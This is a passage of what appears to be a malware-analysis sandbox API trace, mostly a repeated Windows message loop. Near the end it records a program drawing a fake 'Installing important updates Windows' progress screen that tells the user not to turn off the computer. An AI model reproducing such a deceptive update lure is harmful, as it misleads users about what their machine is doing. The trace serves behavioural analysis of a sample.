(hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0055.634] TranslateMessage (lpMsg=0x18e548) returned 0 [0055.635] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0055.635] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0055.635] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0055.635] TranslateMessage (lpMsg=0x18e548) returned 0 [0055.635] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0055.637] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0055.681] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0055.681] TranslateMessage (lpMsg=0x18e548) returned 0 [0055.681] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0055.681] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0055.681] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0055.681] TranslateMessage (lpMsg=0x18e548) returned 0 [0055.681] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0055.683] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0055.728] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0055.728] TranslateMessage (lpMsg=0x18e548) returned 0 [0055.728] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0055.728] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0055.728] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0055.728] TranslateMessage (lpMsg=0x18e548) returned 0 [0055.728] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0055.729] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0055.775] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0055.775] TranslateMessage (lpMsg=0x18e548) returned 0 [0055.775] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0055.775] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0055.775] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0055.775] TranslateMessage (lpMsg=0x18e548) returned 0 [0055.775] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0055.776] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0055.822] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0055.822] TranslateMessage (lpMsg=0x18e548) returned 0 [0055.822] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0055.822] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0055.822] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0055.822] TranslateMessage (lpMsg=0x18e548) returned 0 [0055.822] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0055.823] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0055.868] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0055.868] TranslateMessage (lpMsg=0x18e548) returned 0 [0055.868] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0055.868] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0055.868] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0055.868] TranslateMessage (lpMsg=0x18e548) returned 0 [0055.868] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0055.869] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0055.915] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0055.915] TranslateMessage (lpMsg=0x18e548) returned 0 [0055.915] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0055.915] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0055.915] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0055.915] TranslateMessage (lpMsg=0x18e548) returned 0 [0055.915] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0055.916] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0055.962] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0055.962] TranslateMessage (lpMsg=0x18e548) returned 0 [0055.962] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0055.962] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0055.962] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0055.962] TranslateMessage (lpMsg=0x18e548) returned 0 [0055.962] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0055.963] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0056.009] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0056.009] TranslateMessage (lpMsg=0x18e548) returned 0 [0056.009] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0056.009] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0056.009] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0056.009] TranslateMessage (lpMsg=0x18e548) returned 0 [0056.009] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0056.010] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0056.056] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0056.056] TranslateMessage (lpMsg=0x18e548) returned 0 [0056.056] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0056.056] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0057.288] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0057.288] TranslateMessage (lpMsg=0x18e548) returned 0 [0057.288] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0057.288] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0057.335] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0057.335] TranslateMessage (lpMsg=0x18e548) returned 0 [0057.335] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0057.335] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0057.335] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0057.335] TranslateMessage (lpMsg=0x18e548) returned 0 [0057.335] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0057.336] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0057.383] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0057.383] TranslateMessage (lpMsg=0x18e548) returned 0 [0057.384] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0057.384] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0057.384] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0057.384] TranslateMessage (lpMsg=0x18e548) returned 0 [0057.384] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0057.385] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0057.444] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0057.444] TranslateMessage (lpMsg=0x18e548) returned 0 [0057.444] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0057.444] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0057.444] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0057.444] TranslateMessage (lpMsg=0x18e548) returned 0 [0057.444] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0057.445] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0057.491] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0057.491] TranslateMessage (lpMsg=0x18e548) returned 0 [0057.491] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0057.491] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0057.491] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0057.491] TranslateMessage (lpMsg=0x18e548) returned 0 [0057.491] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0057.492] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0057.538] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0057.538] TranslateMessage (lpMsg=0x18e548) returned 0 [0057.538] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0057.538] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0057.538] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0057.538] TranslateMessage (lpMsg=0x18e548) returned 0 [0057.538] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0057.539] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0057.584] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0057.584] TranslateMessage (lpMsg=0x18e548) returned 0 [0057.584] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0057.584] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0057.584] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0057.584] TranslateMessage (lpMsg=0x18e548) returned 0 [0057.585] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0057.585] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0057.631] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0057.631] TranslateMessage (lpMsg=0x18e548) returned 0 [0057.631] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0057.631] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0057.631] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0057.631] TranslateMessage (lpMsg=0x18e548) returned 0 [0057.631] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0057.632] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0057.725] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0057.725] TranslateMessage (lpMsg=0x18e548) returned 0 [0057.725] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0057.725] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0057.725] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0057.725] TranslateMessage (lpMsg=0x18e548) returned 0 [0057.725] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0057.726] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0057.772] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0057.772] TranslateMessage (lpMsg=0x18e548) returned 0 [0057.772] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0057.772] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0057.772] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0057.772] TranslateMessage (lpMsg=0x18e548) returned 0 [0057.772] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0057.773] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0057.818] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0057.818] TranslateMessage (lpMsg=0x18e548) returned 0 [0057.818] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0057.818] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0057.818] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0057.818] TranslateMessage (lpMsg=0x18e548) returned 0 [0057.818] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0057.819] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0057.865] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0057.865] TranslateMessage (lpMsg=0x18e548) returned 0 [0057.865] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0057.865] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0057.865] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0057.865] TranslateMessage (lpMsg=0x18e548) returned 0 [0057.865] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0057.866] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0057.912] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0057.912] TranslateMessage (lpMsg=0x18e548) returned 0 [0057.912] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0057.912] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0057.912] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0057.912] TranslateMessage (lpMsg=0x18e548) returned 0 [0057.912] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0057.913] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0057.959] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0057.959] TranslateMessage (lpMsg=0x18e548) returned 0 [0057.959] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0057.959] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0061.172] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0061.172] TranslateMessage (lpMsg=0x18e548) returned 0 [0061.172] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0061.172] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0061.219] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0061.219] TranslateMessage (lpMsg=0x18e548) returned 0 [0061.219] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0061.219] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0061.219] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0061.219] TranslateMessage (lpMsg=0x18e548) returned 0 [0061.219] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0061.220] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0061.266] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0061.266] TranslateMessage (lpMsg=0x18e548) returned 0 [0061.266] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0061.266] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0061.266] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0061.266] TranslateMessage (lpMsg=0x18e548) returned 0 [0061.266] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0061.267] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0061.276] TranslateAcceleratorW (hWnd=0x9011c, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0061.276] TranslateMessage (lpMsg=0x18e548) returned 1 [0061.276] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0061.276] NtdllDefWindowProc_W () returned 0x0 [0061.276] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0061.289] NtdllDefWindowProc_W () returned 0x1 [0061.291] NtdllDefWindowProc_W () returned 0x0 [0061.291] NtdllDefWindowProc_W () returned 0x0 [0061.291] NtdllDefWindowProc_W () returned 0x0 [0061.291] NtdllDefWindowProc_W () returned 0x0 [0061.291] NtdllDefWindowProc_W () returned 0x0 [0061.291] TranslateAcceleratorW (hWnd=0x9011c, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0061.291] TranslateMessage (lpMsg=0x18e548) returned 0 [0061.291] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0061.291] BeginPaint (in: hWnd=0x9011c, lpPaint=0x18e2e0 | out: lpPaint=0x18e2e0) returned 0xc01087d [0061.291] NtdllDefWindowProc_W () returned 0x0 [0061.292] NtdllDefWindowProc_W () returned 0x1 [0061.292] EndPaint (hWnd=0x9011c, lpPaint=0x18e2e0) returned 1 [0061.292] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0061.292] TranslateAcceleratorW (hWnd=0x50120, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0061.292] TranslateMessage (lpMsg=0x18e548) returned 0 [0061.292] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0061.292] BeginPaint (in: hWnd=0x50120, lpPaint=0x18d9c8 | out: lpPaint=0x18d9c8) returned 0xc01087d [0061.293] CreateSolidBrush (color=0x5b3ef) returned 0x2f100256 [0061.293] FillRect (hDC=0xc01087d, lprc=0x18d9b8, hbr=0x2f100256) returned 1 [0061.293] DeleteObject (ho=0x2f100256) returned 1 [0061.293] DrawIcon (hDC=0xc01087d, X=7, Y=7, hIcon=0xd00e3) returned 1 [0061.293] CreateFontW (cHeight=-19, cWidth=0, cEscapement=0, cOrientation=0, cWeight=500, bItalic=0x0, bUnderline=0x0, bStrikeOut=0x0, iCharSet=0x0, iOutPrecision=0x0, iClipPrecision=0x0, iQuality=0x0, iPitchAndFamily=0x0, pszFaceName="Calibri") returned 0x750a01d7 [0061.293] SelectObject (hdc=0xc01087d, h=0x750a01d7) returned 0x18a002e [0061.293] SetBkMode (hdc=0xc01087d, mode=1) returned 2 [0061.293] lstrlenW (lpString="Installing important updates Windows.") returned 37 [0061.293] TextOutW (hdc=0xc01087d, x=55, y=10, lpString="Installing important updates Windows.", c=37) returned 1 [0061.293] SelectObject (hdc=0xc01087d, h=0x18a002e) returned 0x750a01d7 [0061.293] CreateSolidBrush (color=0xffffff) returned 0x30100256 [0061.293] FillRect (hDC=0xc01087d, lprc=0x18d9a8, hbr=0x30100256) returned 1 [0061.293] DeleteObject (ho=0x30100256) returned 1 [0061.294] CreateFontW (cHeight=-15, cWidth=0, cEscapement=0, cOrientation=0, cWeight=500, bItalic=0x0, bUnderline=0x0, bStrikeOut=0x0, iCharSet=0x0, iOutPrecision=0x0, iClipPrecision=0x0, iQuality=0x0, iPitchAndFamily=0x0, pszFaceName="Calibri") returned 0x170a0883 [0061.294] SelectObject (hdc=0xc01087d, h=0x170a0883) returned 0x18a002e [0061.294] SetBkMode (hdc=0xc01087d, mode=1) returned 1 [0061.294] lstrlenW (lpString="Getting your update ready.") returned 26 [0061.294] TextOutW (hdc=0xc01087d, x=52, y=60, lpString="Getting your update ready.", c=26) returned 1 [0061.294] lstrlenW (lpString="Configuring update for Windows.") returned 31 [0061.294] TextOutW (hdc=0xc01087d, x=52, y=77, lpString="Configuring update for Windows.", c=31) returned 1 [0061.294] lstrlenW (lpString="Don't turn off your computer or close it.") returned 41 [0061.294] TextOutW (hdc=0xc01087d, x=52, y=94, lpString="Don't turn off your computer or close it.", c=41) returned 1 [0061.294] SelectObject (hdc=0xc01087d, h=0x18a002e) returned 0x170a0883 [0061.294] CreateFontW (cHeight=-15, cWidth=0, cEscapement=0, cOrientation=0, cWeight=700, bItalic=0x0, bUnderline=0x0, bStrikeOut=0x0, iCharSet=0x0, iOutPrecision=0x0, iClipPrecision=0x0, iQuality=0x0, iPitchAndFamily=0x0, pszFaceName="Calibri") returned 0xe0a0888 [0061.295] SelectObject (hdc=0xc01087d, h=0xe0a0888) returned 0x18a002e [0061.295] SetBkMode (hdc=0xc01087d, mode=1) returned 1 [0061.295] SetTextAlign (hdc=0xc01087d, align=0x6) returned 0x0 [0061.295] wsprintfW (in: param_1=0x18da08, param_2="Percent complete: %i%%" | out: param_1="Percent complete: 4%") returned 20 [0061.295] lstrlenW (lpString="Percent complete: 4%") returned 20 [0061.295] TextOutW (hdc=0xc01087d, x=209, y=111, lpString="Percent complete: 4%", c=20) returned 1 [0061.295] SelectObject (hdc=0xc01087d, h=0x18a002e) returned 0xe0a0888 [0061.295] EndPaint (hWnd=0x50120, lpPaint=0x18d9c8) returned 1 [0061.295] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0061.295] TranslateAcceleratorW (hWnd=0x40124, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0061.295] TranslateMessage (lpMsg=0x18e548) returned 0 [0061.295] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0061.299] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0061.299] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0061.299] TranslateMessage (lpMsg=0x18e548) returned 0 [0061.299] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0061.300] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0061.321] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0061.321] TranslateMessage (lpMsg=0x18e548) returned 0 [0061.321] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0061.321] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0061.321] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0061.321] TranslateMessage (lpMsg=0x18e548) returned 0 [0061.321] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0061.322] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0061.360] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0061.360] TranslateMessage (lpMsg=0x18e548) returned 0 [0061.360] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0061.360] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0061.360] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0061.360] TranslateMessage (lpMsg=0x18e548) returned 0 [0061.360] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0061.361] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0061.391] TranslateAcceleratorW (hWnd=0x301c2, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0061.392] TranslateMessage (lpMsg=0x18e548) returned 0 [0061.392] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0061.392] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0061.406] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0061.406] TranslateMessage (lpMsg=0x18e548) returned 0 [0061.406] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0061.406] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0061.407] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0061.407] TranslateMessage (lpMsg=0x18e548) returned 0 [0061.407] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0061.407] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0061.482] 